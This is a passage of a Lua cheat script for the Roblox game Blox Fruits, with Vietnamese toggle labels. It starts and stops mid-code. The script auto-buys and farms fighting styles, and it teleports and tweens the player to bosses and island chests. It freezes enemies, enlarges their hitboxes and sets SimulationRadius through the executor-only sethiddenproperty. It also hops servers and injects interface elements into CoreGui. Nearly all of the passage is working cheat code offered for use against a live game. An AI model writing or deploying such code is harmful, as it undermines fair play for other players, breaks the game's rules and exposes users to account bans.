local args = {

[1] = "BuyElectro"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

if game.Players.LocalPlayer.Character:FindFirstChild("Superhuman") or game.Players.LocalPlayer.Backpack:FindFirstChild("Superhuman") then

\_G.Select\_Weapon = "Superhuman"

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg") and game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value <= 299 then

\_G.Select\_Weapon = "Black Leg"

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Electro") and game.Players.LocalPlayer.Backpack:FindFirstChild("Electro").Level.Value <= 299 then

\_G.Select\_Weapon = "Electro"

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate") and game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate").Level.Value <= 299 then

\_G.Select\_Weapon = "Fishman Karate"

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw") and game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw").Level.Value <= 299 then

\_G.Select\_Weapon = "Dragon Claw"

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg") and game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value >= 300 then

local args = {

[1] = "BuyFishmanKarate"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

if game.Players.LocalPlayer.Character:FindFirstChild("Black Leg") and game.Players.LocalPlayer.Character:FindFirstChild("Black Leg").Level.Value >= 300 then

local args = {

[1] = "BuyFishmanKarate"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

if game.Players.LocalPlayer.Character:FindFirstChild("Electro") and game.Players.LocalPlayer.Character:FindFirstChild("Electro").Level.Value >= 300 then

local args = {

[1] = "BuyBlackLeg"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate") and game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate").Level.Value >= 300 then

if \_G.Auto\_Fully\_Superhuman and game.Players.LocalPlayer.Data.Fragments.Value < 1500 then

if game.Players.LocalPlayer.Data.Level.Value > 1100 then

\_G.Select\_Dungeon = "Flame"

\_G.Auto\_Buy\_Chips\_Dungeon = true

\_G.Auto\_Start\_Dungeon = true

\_G.Auto\_Next\_Island = true

\_G.Kill\_Aura = true

end

else

\_G.Auto\_Buy\_Chips\_Dungeon = false

\_G.Auto\_Start\_Dungeon = false

\_G.Auto\_Next\_Island = false

\_G.Kill\_Aura = false

local args = {

[1] = "BlackbeardReward",

[2] = "DragonClaw",

[3] = "2"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end

if game.Players.LocalPlayer.Character:FindFirstChild("Fishman Karate") and game.Players.LocalPlayer.Character:FindFirstChild("Fishman Karate").Level.Value >= 300 then

if \_G.Auto\_Fully\_Superhuman and game.Players.LocalPlayer.Data.Fragments.Value < 1500 then

if game.Players.LocalPlayer.Data.Level.Value > 1100 then

\_G.Select\_Dungeon = "Flame"

\_G.Auto\_Buy\_Chips\_Dungeon = true

\_G.Auto\_Start\_Dungeon = true

\_G.Auto\_Next\_Island = true

\_G.Kill\_Aura = true

end

else

\_G.Auto\_Buy\_Chips\_Dungeon = false

\_G.Auto\_Start\_Dungeon = false

\_G.Auto\_Next\_Island = false

\_G.Kill\_Aura = false

local args = {

[1] = "BlackbeardReward",

[2] = "DragonClaw",

[3] = "2"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw") and game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Claw").Level.Value >= 300 then

local args = {

[1] = "BuySuperhuman"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

if game.Players.LocalPlayer.Character:FindFirstChild("Dragon Claw") and game.Players.LocalPlayer.Character:FindFirstChild("Dragon Claw").Level.Value >= 300 then

local args = {

[1] = "BuySuperhuman"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

end

end)

end

end

end)

Weapon:Seperator(" Death Step ")

Weapon:Toggle("Lấy Death Step",\_G.Auto\_Death\_Step,function(value)

\_G.Auto\_Death\_Step = value

StopTween(\_G.Auto\_Death\_Step)

end)

spawn(function()

while wait() do

if \_G.Auto\_Death\_Step then

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Black Leg") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Death Step") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Death Step") then

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value >= 450 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDeathStep")

\_G.Select\_Weapon = "Death Step"

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Black Leg") and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Black Leg").Level.Value >= 450 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDeathStep")

\_G.Select\_Weapon = "Death Step"

end

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value <= 449 then

\_G.Select\_Weapon = "Black Leg"

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyBlackLeg")

end

end

end

end)

Weapon:Toggle("Tự Động Làm Nv Death Step",\_G.Auto\_Fully\_Death\_Step,function(value)

\_G.Auto\_Fully\_Death\_Step = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Fully\_Death\_Step then

pcall(function()

if not game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg") or not game.Players.LocalPlayer.Character:FindFirstChild("Black Leg") or not game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Death Step") or not game:GetService("Players").LocalPlayer.Character:FindFirstChild("Death Step") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyBlackLeg")

end

if game:GetService("Workspace").Map.IceCastle.Hall.LibraryDoor.PhoeyuDoor.Transparency == 0 then

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Library Key") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Library Key") then

EquipWeapon("Library Key")

repeat wait() topos(CFrame.new(6371.2001953125, 296.63433837890625, -6841.18115234375)) until (CFrame.new(6371.2001953125, 296.63433837890625, -6841.18115234375).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.Auto\_Fully\_Death\_Step

if (CFrame.new(6371.2001953125, 296.63433837890625, -6841.18115234375).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 then

wait(1.2)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDeathStep",true)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDeathStep")

wait(0.5)

end

elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg") and game.Players.LocalPlayer.Backpack:FindFirstChild("Black Leg").Level.Value >= 450 or game.Players.LocalPlayer.Character:FindFirstChild("Black Leg") and game.Players.LocalPlayer.Character:FindFirstChild("Black Leg").Level.Value >= 450 then

if game:GetService("ReplicatedStorage"):FindFirstChild("Awakened Ice Admiral [Lv. 1400] [Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Awakened Ice Admiral [Lv. 1400] [Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Awakened Ice Admiral [Lv. 1400] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Awakened Ice Admiral [Lv. 1400] [Boss]" then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.Head.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until not v.Parent or v.Humanoid.Health <= 0 or \_G.Auto\_Fully\_Death\_Step == false or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Library Key") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Library Key")

end

end

else

repeat wait() topos(game:GetService("ReplicatedStorage"):FindFirstChild("Awakened Ice Admiral [Lv. 1400] [Boss]").HumanoidRootPart.CFrame) until game:GetService("Workspace").Enemies:FindFirstChild("Awakened Ice Admiral [Lv. 1400] [Boss]")

end

else

hop()

end

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDeathStep")

end

end)

end

end

end)

Weapon:Seperator("Sharkman Karate ")

Weapon:Toggle("Tự Động Lấy Sharkman Karate",\_G.Auto\_SharkMan\_Karate,function(value)

\_G.Auto\_SharkMan\_Karate = value

StopTween(\_G.Auto\_SharkMan\_Karate)

end)

spawn(function()

while wait() do

if \_G.Auto\_SharkMan\_Karate then

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fishman Karate") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Fishman Karate") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Sharkman Karate") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Sharkman Karate") then

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fishman Karate") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fishman Karate").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate")

\_G.Select\_Weapon = "Sharkman Karate"

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Fishman Karate") and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Fishman Karate").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate")

\_G.Select\_Weapon = "Sharkman Karate"

end

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fishman Karate") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fishman Karate").Level.Value <= 400 then

\_G.Select\_Weapon = "Fishman Karate"

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyFishmanKarate")

end

end

end

end)

Weapon:Toggle("Tự Động Làm Nv Sharkman Karate",\_G.Auto\_Fully\_SharkMan\_Karate,function(value)

\_G.Auto\_Fully\_SharkMan\_Karate = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Fully\_SharkMan\_Karate then

pcall(function()

if not game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate") or not game.Players.LocalPlayer.Character:FindFirstChild("Fishman Karate") then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyFishmanKarate")

end

if string.find(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate"), "keys") then

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Water Key") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Water Key") then

repeat wait() topos(-2604.6958, 239.432526, -10315.1982, 0.0425701365, 0, -0.999093413, 0, 1, 0, 0.999093413, 0, 0.0425701365) until (CFrame.new(-2604.6958, 239.432526, -10315.1982, 0.0425701365, 0, -0.999093413, 0, 1, 0, 0.999093413, 0, 0.0425701365).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 or not \_G.Auto\_Fully\_SharkMan\_Karate

if (CFrame.new(-2604.6958, 239.432526, -10315.1982, 0.0425701365, 0, -0.999093413, 0, 1, 0, 0.999093413, 0, 0.0425701365).Position - game:GetService("Players").LocalPlayer.Character.HumanoidRootPart.Position).Magnitude <= 3 then

wait(1.2)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate",true)

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate")

wait(0.5)

end

elseif game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate") and game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate").Level.Value >= 400 or game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate") and game.Players.LocalPlayer.Backpack:FindFirstChild("Fishman Karate").Level.Value >= 400 then

if game:GetService("ReplicatedStorage"):FindFirstChild("Tide Keeper [Lv. 1475] [Boss]") or game:GetService("Workspace").Enemies:FindFirstChild("Tide Keeper [Lv. 1475] [Boss]") then

if game:GetService("Workspace").Enemies:FindFirstChild("Tide Keeper [Lv. 1475] [Boss]") then

for i,v in pairs(game:GetService("Workspace").Enemies:GetChildren()) do

if v.Name == "Tide Keeper [Lv. 1475] [Boss]" then

repeat wait()

AutoHaki()

EquipWeapon(\_G.Select\_Weapon)

v.Head.CanCollide = false

v.Humanoid.WalkSpeed = 0

v.HumanoidRootPart.CanCollide = false

v.HumanoidRootPart.Size = Vector3.new(50,50,50)

topos(v.HumanoidRootPart.CFrame \* MethodFarm)

game:GetService'VirtualUser':CaptureController()

game:GetService'VirtualUser':Button1Down(Vector2.new(1280, 672))

sethiddenproperty(game:GetService("Players").LocalPlayer,"SimulationRadius",math.huge)

until not v.Parent or v.Humanoid.Health <= 0 or \_G.Auto\_Fully\_SharkMan\_Karate == false or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Water Key") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Water Key")

end

end

else

repeat wait() topos(game:GetService("ReplicatedStorage"):FindFirstChild("Tide Keeper [Lv. 1475] [Boss]").HumanoidRootPart.CFrame) until game:GetService("Workspace").Enemies:FindFirstChild("Tide Keeper [Lv. 1475] [Boss]")

end

else

hop()

end

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate")

end

end)

end

end

end)

end

if World3 then

Weapon:Seperator(" Electric Claw ")

Weapon:Toggle("Tự Động Lấy Electric Claw",\_G.Auto\_Electric\_Claw,function(value)

\_G.Auto\_Electric\_Claw = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Electric\_Claw then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Electro") or game.Players.LocalPlayer.Character:FindFirstChild("Electro") or game.Players.LocalPlayer.Backpack:FindFirstChild("Electric Claw") or game.Players.LocalPlayer.Character:FindFirstChild("Electric Claw") then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Electro") and game.Players.LocalPlayer.Backpack:FindFirstChild("Electro").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyElectricClaw")

\_G.Select\_Weapon = "Electric Claw"

end

if game.Players.LocalPlayer.Character:FindFirstChild("Electro") and game.Players.LocalPlayer.Character:FindFirstChild("Electro").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyElectricClaw")

\_G.Select\_Weapon = "Electric Claw"

end

if game.Players.LocalPlayer.Backpack:FindFirstChild("Electro") and game.Players.LocalPlayer.Backpack:FindFirstChild("Electro").Level.Value <= 399 then

\_G.Select\_Weapon = "Electro"

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyElectro")

end

end

end

end)

Weapon:Seperator("Dragon Talon ")

Weapon:Toggle("Tự Động Lấy Dragon Talon",\_G.Auto\_Dragon\_Talon,function(value)

\_G.Auto\_Dragon\_Talon = value

end)

spawn(function()

while wait() do

if \_G.Auto\_Dragon\_Talon then

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Claw") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Talon") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Talon") then

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDragonTalon")

\_G.Select\_Weapon = "Dragon Talon"

end

if game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Claw") and game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Claw").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDragonTalon")

\_G.Select\_Weapon = "Dragon Talon"

end

if game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw") and game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw").Level.Value <= 399 then

\_G.Select\_Weapon = "Dragon Claw"

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BlackbeardReward","DragonClaw","2")

end

end

end

end)

Weapon:Seperator(" God Human ")

Weapon:Toggle("Tự Động Lấy God Human",\_G.Auto\_God\_Human,function(value)

\_G.Auto\_God\_Human = value

end)

end

spawn(function()

while task.wait() do

if \_G.Auto\_God\_Human then

pcall(function()

if game.Players.LocalPlayer.Character:FindFirstChild("Superhuman") or game.Players.LocalPlayer.Backpack:FindFirstChild("Superhuman") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Black Leg") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Black Leg") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Death Step") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Death Step") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Fishman Karate") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Fishman Karate") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Sharkman Karate") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Sharkman Karate") or game.Players.LocalPlayer.Backpack:FindFirstChild("Electro") or game.Players.LocalPlayer.Character:FindFirstChild("Electro") or game.Players.LocalPlayer.Backpack:FindFirstChild("Electric Claw") or game.Players.LocalPlayer.Character:FindFirstChild("Electric Claw") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Claw") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Claw") or game:GetService("Players").LocalPlayer.Backpack:FindFirstChild("Dragon Talon") or game:GetService("Players").LocalPlayer.Character:FindFirstChild("Dragon Talon") or game.Players.LocalPlayer.Character:FindFirstChild("Godhuman") or game.Players.LocalPlayer.Backpack:FindFirstChild("Godhuman") then

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySuperhuman",true) == 1 then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Superhuman") and game.Players.LocalPlayer.Backpack:FindFirstChild("Superhuman").Level.Value >= 400 or game.Players.LocalPlayer.Character:FindFirstChild("Superhuman") and game.Players.LocalPlayer.Character:FindFirstChild("Superhuman").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDeathStep")

end

else

game.StarterGui:SetCore("SendNotification", {

Title = "Notification",

Text = "Not Have Superhuman" ,

Icon = "http://www.roblox.com/asset/?id=",

Duration = 2.5

})

end

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDeathStep",true) == 1 then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Death Step") and game.Players.LocalPlayer.Backpack:FindFirstChild("Death Step").Level.Value >= 400 or game.Players.LocalPlayer.Character:FindFirstChild("Death Step") and game.Players.LocalPlayer.Character:FindFirstChild("Death Step").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate")

end

else

game.StarterGui:SetCore("SendNotification", {

Title = "Notification",

Text = "Not Have Death Step" ,

Icon = "http://www.roblox.com/asset/?id=",

Duration = 2.5

})

end

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySharkmanKarate",true) == 1 then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Sharkman Karate") and game.Players.LocalPlayer.Backpack:FindFirstChild("Sharkman Karate").Level.Value >= 400 or game.Players.LocalPlayer.Character:FindFirstChild("Sharkman Karate") and game.Players.LocalPlayer.Character:FindFirstChild("Sharkman Karate").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyElectricClaw")

end

else

game.StarterGui:SetCore("SendNotification", {

Title = "Notification",

Text = "Not Have SharkMan Karate" ,

Icon = "http://www.roblox.com/asset/?id=",

Duration = 2.5

})

end

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyElectricClaw",true) == 1 then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Electric Claw") and game.Players.LocalPlayer.Backpack:FindFirstChild("Electric Claw").Level.Value >= 400 or game.Players.LocalPlayer.Character:FindFirstChild("Electric Claw") and game.Players.LocalPlayer.Character:FindFirstChild("Electric Claw").Level.Value >= 400 then

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDragonTalon")

end

else

game.StarterGui:SetCore("SendNotification", {

Title = "Notification",

Text = "Not Have Electric Claw" ,

Icon = "http://www.roblox.com/asset/?id=",

Duration = 2.5

})

end

if game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyDragonTalon",true) == 1 then

if game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Talon") and game.Players.LocalPlayer.Backpack:FindFirstChild("Dragon Talon").Level.Value >= 400 or game.Players.LocalPlayer.Character:FindFirstChild("Dragon Talon") and game.Players.LocalPlayer.Character:FindFirstChild("Dragon Talon").Level.Value >= 400 then

if string.find(game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyGodhuman",true), "Bring") then

game.StarterGui:SetCore("SendNotification", {

Title = "Notification",

Text = "Not Have Enough Material" ,

Icon = "http://www.roblox.com/asset/?id=",

Duration = 2.5

})

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuyGodhuman")

end

end

else

game.StarterGui:SetCore("SendNotification", {

Title = "Notification",

Text = "Not Have Dragon Talon" ,

Icon = "http://www.roblox.com/asset/?id=",

Duration = 2.5

})

end

else

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer("BuySuperhuman")

end

end)

end

end

end)

if World3 then

Race:Seperator("Full Mon Và Đảo Bí Ẩn")

local FullMoon = Race:Label("")

spawn(function()

while task.wait() do

pcall(function()

if game:GetService("Lighting").Sky.MoonTextureId=="http://www.roblox.com/asset/?id=9709149431" then

FullMoon:Set("🌑 : Full Moon 100%")

elseif game:GetService("Lighting").Sky.MoonTextureId=="http://www.roblox.com/asset/?id=9709149052" then

FullMoon:Set("🌒 : Full Moon 75%")

elseif game:GetService("Lighting").Sky.MoonTextureId=="http://www.roblox.com/asset/?id=9709143733" then

FullMoon:Set("🌓 : Full Moon 50%")

elseif game:GetService("Lighting").Sky.MoonTextureId=="http://www.roblox.com/asset/?id=9709150401" then

FullMoon:Set("🌗 : Full Moon 25%")

elseif game:GetService("Lighting").Sky.MoonTextureId=="http://www.roblox.com/asset/?id=9709149680" then

FullMoon:Set("🌖 : Full Moon 15%")

else

FullMoon:Set("🌚 : Full Moon 0%")

end

end)

end

end)

local mr = Race:Label("")

task.spawn(function()

while task.wait() do

pcall(function()

if game.Workspace.\_WorldOrigin.Locations:FindFirstChild("Mirage Island") then

mr:Set("Check Mirage : Spawn ✅")

else

mr:Set("Check Mirage : Not Spawn ❌")

end

end)

end

end)

end

if World1 or World2 then

Race:Label("Qua Sea 3 Mới Bật Được Dcm")

end

if World3 then

Race:Seperator("Hỗ Trợ Gạt Cần")

Race:Toggle("Auto Treo Đảo Bí Ẩn",\_G.dao,function(state)

if state then

\_G.dao = true

else

\_G.dao = false

end

if \_G.dao then

local args = {

[1] = "requestEntrance",

[2] = Vector3.new(-12463.6025390625, 378.3270568847656, -7566.0830078125)

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

wait(1)

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-5411.22021, 778.609863, -2682.27759, 0.927179396, 0, 0.374617696, 0, 1, 0, -0.374617696, 0, 0.927179396)

wait(0)

-- Script generated by SimpleSpy - credits to exx#9394

local args = {

[1] = "BuyBoat",

[2] = "PirateBrigade"

}

game:GetService("ReplicatedStorage").Remotes.CommF\_:InvokeServer(unpack(args))

function two(gotoCFrame) --- Tween

pcall(function()

game.Players.LocalPlayer.Character.Humanoid.Sit = false

game.Players.LocalPlayer.Character.HumanoidRootPart.Anchored = false

end)

if (game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.Position - gotoCFrame.Position).Magnitude <= 200 then

pcall(function()

tweenz:Cancel()

end)

game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.CFrame = gotoCFrame

else

local tween\_s = game:service"TweenService"

local info = TweenInfo.new((game:GetService("Players")["LocalPlayer"].Character.HumanoidRootPart.Position - gotoCFrame.Position).Magnitude/325, Enum.EasingStyle.Linear)

tween, err = pcall(function()

tweenz = tween\_s:Create(game.Players.LocalPlayer.Character["HumanoidRootPart"], info, {CFrame = gotoCFrame})

tweenz:Play()

end)

if not tween then return err end

end

function \_TweenCanCle()

tweenz:Cancel()

end

end

two(CFrame.new(-5100.7085, 29.968586, -6792.45459, -0.33648631, -0.0396691673, 0.940852463, -6.40461678e-07, 0.999112308, 0.0421253517, -0.941688359, 0.0141740013, -0.336187631))

wait(13)

for \_,v in next, workspace.Boats.PirateBrigade:GetDescendants() do

if v.Name:find("VehicleSeat") then

game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = v.CFrame

if game:GetService("Workspace").Map:FindFirstChild("MysticIsland") then

topos(game:GetService("Workspace").Map:FindFirstChild("MysticIsland").HumanoidRootPart.CFrame \* CFrame.new(0,500,-100))

end

end

end

end

end)

Race:Toggle("Bay Vô Đảo Bí Ẩn",false,function(value)

for \_,v in next, workspace.Map.MysticIsland:GetDescendants() do

if v.Name:find("FragChest") then

topos(v.CFrame)

end

end

end)

Race:Toggle("Nói Chuyện Với Đá Cấp Tốc",false,function(value)

local DiscordLib = {}

local TweenService = game:GetService("TweenService")

local Balaraja = Instance.new("ScreenGui")

Balaraja.Name = "Balaraja"

Balaraja.Parent = game.CoreGui

Balaraja.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

local NotiFrame = Instance.new("Frame")

NotiFrame.Name = "NotiFrame"

NotiFrame.Parent = Balaraja

NotiFrame.AnchorPoint = Vector2.new(0.5, 0.5)

NotiFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

NotiFrame.BackgroundTransparency = 1

NotiFrame.Position = UDim2.new(1.2, 0, 0.0613496937, 0)

NotiFrame.Size = UDim2.new(0, 1632, 0, 100)

local Notilistlayout = Instance.new("UIListLayout")

Notilistlayout.Name = "Notilistlayout"

Notilistlayout.Parent = NotiFrame

Notilistlayout.FillDirection = Enum.FillDirection.Vertical

Notilistlayout.SortOrder = Enum.SortOrder.LayoutOrder

Notilistlayout.Padding = UDim.new(0, 5)

function DiscordLib:Notification(text,text2,delays,logo)

if logo == nil then

logo = ""

end

if delays == nil then

delays = 1

end

local TitleFrame = Instance.new("Frame")

TitleFrame.Name = "TitleFrame"

TitleFrame.Parent = NotiFrame

TitleFrame.BackgroundColor3 = Color3.fromRGB(35,35,35)

TitleFrame.Size = UDim2.new(0, 0, 0, 0)

local Main\_UiStroke = Instance.new("UIStroke")

Main\_UiStroke.Thickness = 1

Main\_UiStroke.Name = ""

Main\_UiStroke.Parent = TitleFrame

Main\_UiStroke.ApplyStrokeMode = Enum.ApplyStrokeMode.Border

Main\_UiStroke.LineJoinMode = Enum.LineJoinMode.Round

Main\_UiStroke.Color = Color3.fromRGB(255, 255, 255)

Main\_UiStroke.Transparency = 0

TitleFrame:TweenSizeAndPosition(UDim2.new(0, 250-10, 0, 70), UDim2.new(0.5, 0, 0.5,0), "Out", "Back", 0.3, true)

local ConnerTitile = Instance.new("UICorner")

ConnerTitile.CornerRadius = UDim.new(0, 4)

ConnerTitile.Name = "ConnerTitile"

ConnerTitile.Parent = TitleFrame

local imagenoti = Instance.new("ImageLabel")

imagenoti.Name = "imagenoti"

imagenoti.Parent = TitleFrame

imagenoti.AnchorPoint = Vector2.new(0.5, 0.5)

imagenoti.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

imagenoti.Position = UDim2.new(0.135999978, 0, 0.5, 0)

imagenoti.Size = UDim2.new(0, 50, 0, 50)

imagenoti.BackgroundTransparency = 1

imagenoti.Image = "http://www.roblox.com/asset/?id="..tostring(logo)

local txdlid = Instance.new("TextLabel")

local LableFrame = Instance.new("Frame")

txdlid.Name = "txdlid"

txdlid.Parent = TitleFrame

txdlid.BackgroundColor3 = Color3.fromRGB(85, 170, 255)

txdlid.BackgroundTransparency = 1.000

txdlid.Position = UDim2.new(0.25, 0, 0.15, 0)

txdlid.Size = UDim2.new(0, 175, 0, 24)

txdlid.Font = Enum.Font.LuckiestGuy

txdlid.TextColor3 = Color3.fromRGB(85, 170, 255)

txdlid.TextSize = 13.000

txdlid.Text = text

txdlid.TextXAlignment = Enum.TextXAlignment.Left

LableFrame.Name = "LableFrame"

LableFrame.Parent = TitleFrame

LableFrame.AnchorPoint = Vector2.new(0.5, 0.5)

LableFrame.BackgroundColor3 = Color3.fromRGB(255, 255, 255)

LableFrame.BackgroundTransparency = 1.000

